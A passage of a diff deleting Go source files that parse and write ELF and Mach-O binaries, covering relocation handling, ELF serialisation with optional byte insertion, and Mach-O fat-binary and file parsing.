} else {
|
||||
symNo = rela.Info & 0xffffffff
|
||||
t = R_MIPS(rela.Info >> 56)
|
||||
}
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_MIPS_64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
|
||||
case R_MIPS_32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsRISCV64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_RISCV(rela.Info & 0xffff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
switch SymType(sym.Info & 0xf) {
|
||||
case STT_SECTION, STT_NOTYPE:
|
||||
break
|
||||
default:
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_RISCV_64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
val := sym.Value + uint64(rela.Addend)
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], val)
|
||||
case R_RISCV_32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
val := uint32(sym.Value) + uint32(rela.Addend)
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], val)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationss390x(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_390(rela.Info & 0xffff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
switch SymType(sym.Info & 0xf) {
|
||||
case STT_SECTION, STT_NOTYPE:
|
||||
break
|
||||
default:
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_390_64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
val := sym.Value + uint64(rela.Addend)
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], val)
|
||||
case R_390_32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
val := uint32(sym.Value) + uint32(rela.Addend)
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], val)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsSPARC64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_SPARC(rela.Info & 0xff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_SPARC_64, R_SPARC_UA64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
|
||||
case R_SPARC_32, R_SPARC_UA32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
-281
@@ -1,281 +0,0 @@
|
||||
package elf
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
)
|
||||
|
||||
// Bytes - returns the bytes of an Elf file
|
||||
func (elfFile *File) Bytes() ([]byte, error) {
|
||||
|
||||
bytesWritten := uint64(0)
|
||||
elfBuf := bytes.NewBuffer(nil)
|
||||
w := bufio.NewWriter(elfBuf)
|
||||
|
||||
// Write Elf Magic
|
||||
w.WriteByte('\x7f')
|
||||
w.WriteByte('E')
|
||||
w.WriteByte('L')
|
||||
w.WriteByte('F')
|
||||
bytesWritten += 4
|
||||
|
||||
// ident[EI_CLASS]
|
||||
w.WriteByte(byte(elfFile.Class))
|
||||
// ident[EI_DATA]
|
||||
w.WriteByte(byte(elfFile.Data))
|
||||
// ident[EI_VERSION]
|
||||
w.WriteByte(byte(elfFile.Version))
|
||||
// ident[EI_OSABI]
|
||||
w.WriteByte(byte(elfFile.OSABI))
|
||||
// ident[EI_ABIVERSION]
|
||||
w.WriteByte(byte(elfFile.ABIVersion))
|
||||
// ident[EI_PAD] ( 7 bytes )
|
||||
w.Write([]byte{0, 0, 0, 0, 0, 0, 0})
|
||||
bytesWritten += 12
|
||||
|
||||
// Type
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(elfFile.Type))
|
||||
// Machine
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(elfFile.Machine))
|
||||
// Version
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(elfFile.Version))
|
||||
bytesWritten += 8
|
||||
|
||||
phsize := 0
|
||||
|
||||
switch elfFile.Class {
|
||||
case ELFCLASS32:
|
||||
phsize = 0x20
|
||||
// Entry 32
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(elfFile.Entry))
|
||||
// PH Offset 32
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(0x34))
|
||||
// SH Offset 32 // 0x20 0x28 4 8 e_shoff Points to the start of the section header table.
|
||||
binary.Write(w, elfFile.ByteOrder, int32(elfFile.FileHeader.SHTOffset))
|
||||
// Flags
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(0)) // todo
|
||||
// EH Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(52))
|
||||
// PH Size // 0x2A 0x36 2 e_phentsize Contains the size of a program header table entry.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(phsize))
|
||||
// PH Num // 0x2C 0x38 2 e_phnum Contains the number of entries in the program header table.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(len(elfFile.Progs)))
|
||||
// SH Size // 0x2E 0x3A 2 e_shentsize Contains the size of a section header table entry.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(0x28))
|
||||
bytesWritten += 24
|
||||
|
||||
case ELFCLASS64:
|
||||
phsize = 0x38
|
||||
// Entry 64
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(elfFile.Entry))
|
||||
// PH Offset 64
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(0x40))
|
||||
// SH Offset 64 // 0x20 0x28 4 8 e_shoff Points to the start of the section header table.
|
||||
binary.Write(w, elfFile.ByteOrder, int64(elfFile.FileHeader.SHTOffset))
|
||||
// Flags
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(0)) // I think right?
|
||||
// EH Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(64))
|
||||
// PH Size // 0x2A 0x36 2 e_phentsize Contains the size of a program header table entry.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(phsize))
|
||||
// PH Num // 0x2C 0x38 2 e_phnum Contains the number of entries in the program header table.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(len(elfFile.Progs)))
|
||||
// SH Size // 0x2E 0x3A 2 e_shentsize Contains the size of a section header table entry.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(0x40))
|
||||
bytesWritten += 36
|
||||
}
|
||||
|
||||
// SH Num // 0x30 0x3C 2 e_shnum Contains the number of entries in the section header table.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(len(elfFile.Sections)))
|
||||
// SH Str Ndx // 0x32 0x3E 2 e_shstrndx Contains index of the section header table entry that contains the section names.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(elfFile.ShStrIndex))
|
||||
bytesWritten += 4
|
||||
|
||||
// Program Header
|
||||
for _, p := range elfFile.Progs {
|
||||
// Type (segment)
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Type))
|
||||
bytesWritten += 4
|
||||
|
||||
switch elfFile.Class {
|
||||
case ELFCLASS32:
|
||||
// Offset of Segment in File
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Off))
|
||||
|
||||
// Vaddr
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Vaddr))
|
||||
|
||||
// Paddr
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Paddr))
|
||||
|
||||
// File Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Filesz))
|
||||
|
||||
// Memory Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Memsz))
|
||||
|
||||
// Flags (segment)
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Flags))
|
||||
|
||||
// Alignment
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Align))
|
||||
|
||||
bytesWritten += 28
|
||||
|
||||
case ELFCLASS64:
|
||||
// Flags (segment)
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Flags))
|
||||
|
||||
// Offset of Segment in File
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Off))
|
||||
|
||||
// Vaddr
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Vaddr))
|
||||
|
||||
// Paddr
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Paddr))
|
||||
|
||||
// File Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Filesz))
|
||||
|
||||
// Memory Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Memsz))
|
||||
|
||||
// Alignment
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Align))
|
||||
|
||||
bytesWritten += 52
|
||||
}
|
||||
}
|
||||
|
||||
sortedSections := elfFile.Sections[:]
|
||||
//sort.Slice(sortedSections, func(a, b int) bool { return elfFile.Sections[a].Link < elfFile.Sections[b].Link })
|
||||
for _, s := range sortedSections {
|
||||
|
||||
//log.Printf("Writing section: %s type: %+v\n", s.Name, s.Type)
|
||||
//log.Printf("written: %x offset: %x\n", bytesWritten, s.Offset)
|
||||
|
||||
if s.Type == SHT_NULL || s.Type == SHT_NOBITS || s.FileSize == 0 {
|
||||
//log.Println("continuing...")
|
||||
continue
|
||||
}
|
||||
|
||||
if bytesWritten > s.Offset {
|
||||
log.Printf("Overlapping Sections in Generated Elf: %+v\n", s.Name)
|
||||
continue
|
||||
}
|
||||
if s.Offset != 0 && bytesWritten < s.Offset {
|
||||
pad := make([]byte, s.Offset-bytesWritten)
|
||||
w.Write(pad)
|
||||
//log.Printf("Padding before section %s at %x: length:%x to:%x\n", s.Name, bytesWritten, len(pad), s.Offset)
|
||||
bytesWritten += uint64(len(pad))
|
||||
}
|
||||
|
||||
slen := 0
|
||||
switch s.Type {
|
||||
case SHT_DYNAMIC:
|
||||
for _, taggedValue := range elfFile.DynTags {
|
||||
//log.Printf("writing %d (%x) -> %d (%x)\n", taggedValue.Tag, taggedValue.Tag, taggedValue.Value, taggedValue.Value)
|
||||
switch elfFile.Class {
|
||||
case ELFCLASS32:
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(taggedValue.Tag))
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(taggedValue.Value))
|
||||
bytesWritten += 8
|
||||
case ELFCLASS64:
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(taggedValue.Tag))
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(taggedValue.Value))
|
||||
bytesWritten += 16
|
||||
}
|
||||
}
|
||||
default:
|
||||
section, err := ioutil.ReadAll(s.Open())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
binary.Write(w, elfFile.ByteOrder, section)
|
||||
slen = len(section)
|
||||
//log.Printf("Wrote %s section at %x, length %x\n", s.Name, bytesWritten, slen)
|
||||
bytesWritten += uint64(slen)
|
||||
}
|
||||
|
||||
// todo: elfFile.Insertion should be renamed InsertionLoadEnd or similar
|
||||
if s.Type == SHT_PROGBITS && len(elfFile.Insertion) > 0 && s.Size-uint64(slen) >= uint64(len(elfFile.Insertion)) {
|
||||
binary.Write(w, elfFile.ByteOrder, elfFile.Insertion)
|
||||
bytesWritten += uint64(len(elfFile.Insertion))
|
||||
}
|
||||
w.Flush()
|
||||
}
|
||||
|
||||
// Pad to Section Header Table
|
||||
if bytesWritten < uint64(elfFile.FileHeader.SHTOffset) {
|
||||
pad := make([]byte, uint64(elfFile.FileHeader.SHTOffset)-bytesWritten)
|
||||
w.Write(pad)
|
||||
//log.Printf("Padding before SHT at %x: length:%x to:%x\n", bytesWritten, len(pad), elfFile.FileHeader.SHTOffset)
|
||||
bytesWritten += uint64(len(pad))
|
||||
}
|
||||
|
||||
// Write Section Header Table
|
||||
|
||||
for _, s := range elfFile.Sections[:] {
|
||||
|
||||
switch elfFile.Class {
|
||||
case ELFCLASS32:
|
||||
binary.Write(w, elfFile.ByteOrder, &Section32{
|
||||
Name: s.Shname,
|
||||
Type: uint32(s.Type),
|
||||
Flags: uint32(s.Flags),
|
||||
Addr: uint32(s.Addr),
|
||||
Off: uint32(s.Offset),
|
||||
Size: uint32(s.Size),
|
||||
Link: s.Link,
|
||||
Info: s.Info,
|
||||
Addralign: uint32(s.Addralign),
|
||||
Entsize: uint32(s.Entsize)})
|
||||
case ELFCLASS64:
|
||||
binary.Write(w, elfFile.ByteOrder, &Section64{
|
||||
Name: s.Shname,
|
||||
Type: uint32(s.Type),
|
||||
Flags: uint64(s.Flags),
|
||||
Addr: s.Addr,
|
||||
Off: s.Offset,
|
||||
Size: s.Size,
|
||||
Link: s.Link,
|
||||
Info: s.Info,
|
||||
Addralign: s.Addralign,
|
||||
Entsize: s.Entsize})
|
||||
}
|
||||
}
|
||||
|
||||
// Do I have a PT_NOTE segment to add at the end?
|
||||
|
||||
if len(elfFile.InsertionEOF) > 0 {
|
||||
binary.Write(w, elfFile.ByteOrder, elfFile.InsertionEOF)
|
||||
bytesWritten += uint64(len(elfFile.InsertionEOF))
|
||||
}
|
||||
|
||||
w.Flush()
|
||||
return elfBuf.Bytes(), nil
|
||||
}
|
||||
|
||||
// WriteFile - Creates a new file and writes it using the Bytes func above
|
||||
func (elfFile *File) WriteFile(destFile string) error {
|
||||
f, err := os.Create(destFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
elfData, err := elfFile.Bytes()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = f.Write(elfData)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
-3
@@ -1,3 +0,0 @@
|
||||
## More Info
|
||||
|
||||
More info on the Mach-O file structure here: [Mach-O Deep Dive](https://www.symbolcrash.com/2019/02/25/so-you-want-to-be-a-mach-o-man/)
|
||||
-27
@@ -1,27 +0,0 @@
|
||||
package macho
|
||||
|
||||
const N_SECT = 0x0E
|
||||
const N_PEXT = 0x10
|
||||
const N_EXT = 0x01
|
||||
|
||||
// Export - describes a single export entry (similar to PE version for future refactoring)
|
||||
type Export struct {
|
||||
//Ordinal uint32 // no ordinals for Mach-O
|
||||
Name string
|
||||
VirtualAddress uint64
|
||||
}
|
||||
|
||||
// Exports - gets exports, including private exports
|
||||
func (f *File) Exports() []Export {
|
||||
var exports []Export
|
||||
for _, symbol := range f.Symtab.Syms {
|
||||
if (symbol.Type&N_PEXT == N_PEXT ||
|
||||
symbol.Type&N_EXT == N_EXT) && symbol.Value != 0 {
|
||||
var export Export
|
||||
export.Name = symbol.Name
|
||||
export.VirtualAddress = symbol.Value
|
||||
exports = append(exports, export)
|
||||
}
|
||||
}
|
||||
return exports
|
||||
}
|
||||
-146
@@ -1,146 +0,0 @@
|
||||
// Copyright 2014 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package macho
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
)
|
||||
|
||||
// A FatFile is a Mach-O universal binary that contains at least one architecture.
|
||||
type FatFile struct {
|
||||
Magic uint32
|
||||
Arches []FatArch
|
||||
closer io.Closer
|
||||
}
|
||||
|
||||
// A FatArchHeader represents a fat header for a specific image architecture.
|
||||
type FatArchHeader struct {
|
||||
Cpu Cpu
|
||||
SubCpu uint32
|
||||
Offset uint32
|
||||
Size uint32
|
||||
Align uint32
|
||||
}
|
||||
|
||||
const fatArchHeaderSize = 5 * 4
|
||||
|
||||
// A FatArch is a Mach-O File inside a FatFile.
|
||||
type FatArch struct {
|
||||
FatArchHeader
|
||||
*File
|
||||
}
|
||||
|
||||
// ErrNotFat is returned from NewFatFile or OpenFat when the file is not a
|
||||
// universal binary but may be a thin binary, based on its magic number.
|
||||
var ErrNotFat = &FormatError{0, "not a fat Mach-O file", nil}
|
||||
|
||||
// NewFatFile creates a new FatFile for accessing all the Mach-O images in a
|
||||
// universal binary. The Mach-O binary is expected to start at position 0 in
|
||||
// the ReaderAt.
|
||||
func NewFatFile(r io.ReaderAt) (*FatFile, error) {
|
||||
var ff FatFile
|
||||
sr := io.NewSectionReader(r, 0, 1<<63-1)
|
||||
|
||||
// Read the fat_header struct, which is always in big endian.
|
||||
// Start with the magic number.
|
||||
err := binary.Read(sr, binary.BigEndian, &ff.Magic)
|
||||
if err != nil {
|
||||
return nil, &FormatError{0, "error reading magic number", nil}
|
||||
} else if ff.Magic != MagicFat {
|
||||
// See if this is a Mach-O file via its magic number. The magic
|
||||
// must be converted to little endian first though.
|
||||
var buf [4]byte
|
||||
binary.BigEndian.PutUint32(buf[:], ff.Magic)
|
||||
leMagic := binary.LittleEndian.Uint32(buf[:])
|
||||
if leMagic == Magic32 || leMagic == Magic64 {
|
||||
return nil, ErrNotFat
|
||||
} else {
|
||||
return nil, &FormatError{0, "invalid magic number", nil}
|
||||
}
|
||||
}
|
||||
offset := int64(4)
|
||||
|
||||
// Read the number of FatArchHeaders that come after the fat_header.
|
||||
var narch uint32
|
||||
err = binary.Read(sr, binary.BigEndian, &narch)
|
||||
if err != nil {
|
||||
return nil, &FormatError{offset, "invalid fat_header", nil}
|
||||
}
|
||||
offset += 4
|
||||
|
||||
if narch < 1 {
|
||||
return nil, &FormatError{offset, "file contains no images", nil}
|
||||
}
|
||||
|
||||
// Combine the Cpu and SubCpu (both uint32) into a uint64 to make sure
|
||||
// there are not duplicate architectures.
|
||||
seenArches := make(map[uint64]bool, narch)
|
||||
// Make sure that all images are for the same MH_ type.
|
||||
var machoType Type
|
||||
|
||||
// Following the fat_header comes narch fat_arch structs that index
|
||||
// Mach-O images further in the file.
|
||||
ff.Arches = make([]FatArch, narch)
|
||||
for i := uint32(0); i < narch; i++ {
|
||||
fa := &ff.Arches[i]
|
||||
err = binary.Read(sr, binary.BigEndian, &fa.FatArchHeader)
|
||||
if err != nil {
|
||||
return nil, &FormatError{offset, "invalid fat_arch header", nil}
|
||||
}
|
||||
offset += fatArchHeaderSize
|
||||
|
||||
fr := io.NewSectionReader(r, int64(fa.Offset), int64(fa.Size))
|
||||
fa.File, err = NewFile(fr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Make sure the architecture for this image is not duplicate.
|
||||
seenArch := (uint64(fa.Cpu) << 32) | uint64(fa.SubCpu)
|
||||
if o, k := seenArches[seenArch]; o || k {
|
||||
return nil, &FormatError{offset, fmt.Sprintf("duplicate architecture cpu=%v, subcpu=%#x", fa.Cpu, fa.SubCpu), nil}
|
||||
}
|
||||
seenArches[seenArch] = true
|
||||
|
||||
// Make sure the Mach-O type matches that of the first image.
|
||||
if i == 0 {
|
||||
machoType = fa.Type
|
||||
} else {
|
||||
if fa.Type != machoType {
|
||||
return nil, &FormatError{offset, fmt.Sprintf("Mach-O type for architecture #%d (type=%#x) does not match first (type=%#x)", i, fa.Type, machoType), nil}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &ff, nil
|
||||
}
|
||||
|
||||
// OpenFat opens the named file using os.Open and prepares it for use as a Mach-O
|
||||
// universal binary.
|
||||
func OpenFat(name string) (*FatFile, error) {
|
||||
f, err := os.Open(name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ff, err := NewFatFile(f)
|
||||
if err != nil {
|
||||
f.Close()
|
||||
return nil, err
|
||||
}
|
||||
ff.closer = f
|
||||
return ff, nil
|
||||
}
|
||||
|
||||
func (ff *FatFile) Close() error {
|
||||
var err error
|
||||
if ff.closer != nil {
|
||||
err = ff.closer.Close()
|
||||
ff.closer = nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
-952
@@ -1,952 +0,0 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package macho implements access to Mach-O object files.
|
||||
package macho
|
||||
|
||||
// High level access to low level data structures.
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/zlib"
|
||||
"debug/dwarf"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// A File represents an open Mach-O file.
|
||||
type File struct {
|
||||
FileHeader
|
||||
ByteOrder binary.ByteOrder
|
||||
Loads []Load
|
||||
Sections []*Section
|
||||
|
||||
Symtab *Symtab
|
||||
Dysymtab *Dysymtab
|
||||
SigBlock *SigBlock
|
||||
FuncStarts *FuncStarts
|
||||
DataInCode *DataInCode
|
||||
DylinkInfo *DylinkInfo
|
||||
|
||||
EntryPoint uint64
|
||||
Insertion []byte
|
||||
|
||||
closer io.Closer
|
||||
}
|
||||
|
||||
// A Load represents any Mach-O load command.
|
||||
type Load interface {
|
||||
Raw() []byte
|
||||
}
|
||||
|
||||
// A LoadBytes is the uninterpreted bytes of a Mach-O load command.
|
||||
type LoadBytes []byte
|
||||
|
||||
func (b LoadBytes) Raw() []byte { return b }
|
||||
|
||||
// A SegmentHeader is the header for a Mach-O 32-bit or 64-bit load segment command.
|
||||
type SegmentHeader struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Name string
|
||||
Addr uint64
|
||||
Memsz uint64
|
||||
Offset uint64
|
||||
Filesz uint64
|
||||
Maxprot uint32
|
||||
Prot uint32
|
||||
Nsect uint32
|
||||
Flag uint32
|
||||
}
|
||||
|
||||
type SigBlock struct {
|
||||
Len uint32
|
||||
Offset uint64
|
||||
RawDat []byte
|
||||
}
|
||||
|
||||
type FuncStarts struct {
|
||||
Len uint32
|
||||
Offset uint64
|
||||
RawDat []byte
|
||||
}
|
||||
|
||||
type DataInCode struct {
|
||||
Len uint32
|
||||
Offset uint64
|
||||
RawDat []byte
|
||||
}
|
||||
|
||||
type DylinkInfo struct {
|
||||
RebaseLen uint32
|
||||
RebaseOffset uint64
|
||||
RebaseDat []byte
|
||||
BindingInfoLen uint32
|
||||
BindingInfoOffset uint64
|
||||
BindingInfoDat []byte
|
||||
WeakBindingLen uint32
|
||||
WeakBindingOffset uint64
|
||||
WeakBindingDat []byte
|
||||
LazyBindingLen uint32
|
||||
LazyBindingOffset uint64
|
||||
LazyBindingDat []byte
|
||||
ExportInfoLen uint32
|
||||
ExportInfoOffset uint64
|
||||
ExportInfoDat []byte
|
||||
}
|
||||
|
||||
// A Segment represents a Mach-O 32-bit or 64-bit load segment command.
|
||||
type Segment struct {
|
||||
LoadBytes
|
||||
SegmentHeader
|
||||
|
||||
// Embed ReaderAt for ReadAt method.
|
||||
// Do not embed SectionReader directly
|
||||
// to avoid having Read and Seek.
|
||||
// If a client wants Read and Seek it must use
|
||||
// Open() to avoid fighting over the seek offset
|
||||
// with other clients.
|
||||
io.ReaderAt
|
||||
sr *io.SectionReader
|
||||
}
|
||||
|
||||
// Data reads and returns the contents of the segment.
|
||||
func (s *Segment) Data() ([]byte, error) {
|
||||
dat := make([]byte, s.sr.Size())
|
||||
n, err := s.sr.ReadAt(dat, 0)
|
||||
if n == len(dat) {
|
||||
err = nil
|
||||
}
|
||||
return dat[0:n], err
|
||||
}
|
||||
|
||||
// Open returns a new ReadSeeker reading the segment.
|
||||
func (s *Segment) Open() io.ReadSeeker { return io.NewSectionReader(s.sr, 0, 1<<63-1) }
|
||||
|
||||
type SectionHeader struct {
|
||||
Name string
|
||||
Seg string
|
||||
Addr uint64
|
||||
Size uint64
|
||||
Offset uint32
|
||||
Align uint32
|
||||
Reloff uint32
|
||||
Nreloc uint32
|
||||
Flags uint32
|
||||
}
|
||||
|
||||
// A Reloc represents a Mach-O relocation.
|
||||
type Reloc struct {
|
||||
Addr uint32
|
||||
Value uint32
|
||||
// when Scattered == false && Extern == true, Value is the symbol number.
|
||||
// when Scattered == false && Extern == false, Value is the section number.
|
||||
// when Scattered == true, Value is the value that this reloc refers to.
|
||||
Type uint8
|
||||
Len uint8 // 0=byte, 1=word, 2=long, 3=quad
|
||||
Pcrel bool
|
||||
Extern bool // valid if Scattered == false
|
||||
Scattered bool
|
||||
}
|
||||
|
||||
type Section struct {
|
||||
SectionHeader
|
||||
Relocs []Reloc
|
||||
|
||||
// Embed ReaderAt for ReadAt method.
|
||||
// Do not embed SectionReader directly
|
||||
// to avoid having Read and Seek.
|
||||
// If a client wants Read and Seek it must use
|
||||
// Open() to avoid fighting over the seek offset
|
||||
// with other clients.
|
||||
io.ReaderAt
|
||||
sr *io.SectionReader
|
||||
}
|
||||
|
||||
// Data reads and returns the contents of the Mach-O section.
|
||||
func (s *Section) Data() ([]byte, error) {
|
||||
dat := make([]byte, s.sr.Size())
|
||||
n, err := s.sr.ReadAt(dat, 0)
|
||||
if n == len(dat) {
|
||||
err = nil
|
||||
}
|
||||
return dat[0:n], err
|
||||
}
|
||||
|
||||
// Open returns a new ReadSeeker reading the Mach-O section.
|
||||
func (s *Section) Open() io.ReadSeeker { return io.NewSectionReader(s.sr, 0, 1<<63-1) }
|
||||
|
||||
// A Dylinker represents a Mach-O load dynamic library command.
|
||||
type Dylinker struct {
|
||||
LoadBytes
|
||||
Name string
|
||||
}
|
||||
|
||||
// A Dylib represents a Mach-O load dynamic library command.
|
||||
type Dylib struct {
|
||||
LoadBytes
|
||||
Name string
|
||||
Time uint32
|
||||
CurrentVersion uint32
|
||||
CompatVersion uint32
|
||||
}
|
||||
|
||||
// A Symtab represents a Mach-O symbol table command.
|
||||
type Symtab struct {
|
||||
LoadBytes
|
||||
SymtabCmd
|
||||
Syms []Symbol
|
||||
RawSymtab []byte
|
||||
RawStringtab []byte
|
||||
}
|
||||
|
||||
// A Dysymtab represents a Mach-O dynamic symbol table command.
|
||||
type Dysymtab struct {
|
||||
LoadBytes
|
||||
DysymtabCmd
|
||||
IndirectSyms []uint32 // indices into Symtab.Syms
|
||||
RawDysymtab []byte
|
||||
}
|
||||
|
||||
// A Rpath represents a Mach-O rpath command.
|
||||
type Rpath struct {
|
||||
LoadBytes
|
||||
Path string
|
||||
}
|
||||
|
||||
// A Symbol is a Mach-O 32-bit or 64-bit symbol table entry.
|
||||
type Symbol struct {
|
||||
Name string
|
||||
Type uint8
|
||||
Sect uint8
|
||||
Desc uint16
|
||||
Value uint64
|
||||
}
|
||||
|
||||
/*
|
||||
* Mach-O reader
|
||||
*/
|
||||
|
||||
// FormatError is returned by some operations if the data does
|
||||
// not have the correct format for an object file.
|
||||
type FormatError struct {
|
||||
off int64
|
||||
msg string
|
||||
val interface{}
|
||||
}
|
||||
|
||||
func (e *FormatError) Error() string {
|
||||
msg := e.msg
|
||||
if e.val != nil {
|
||||
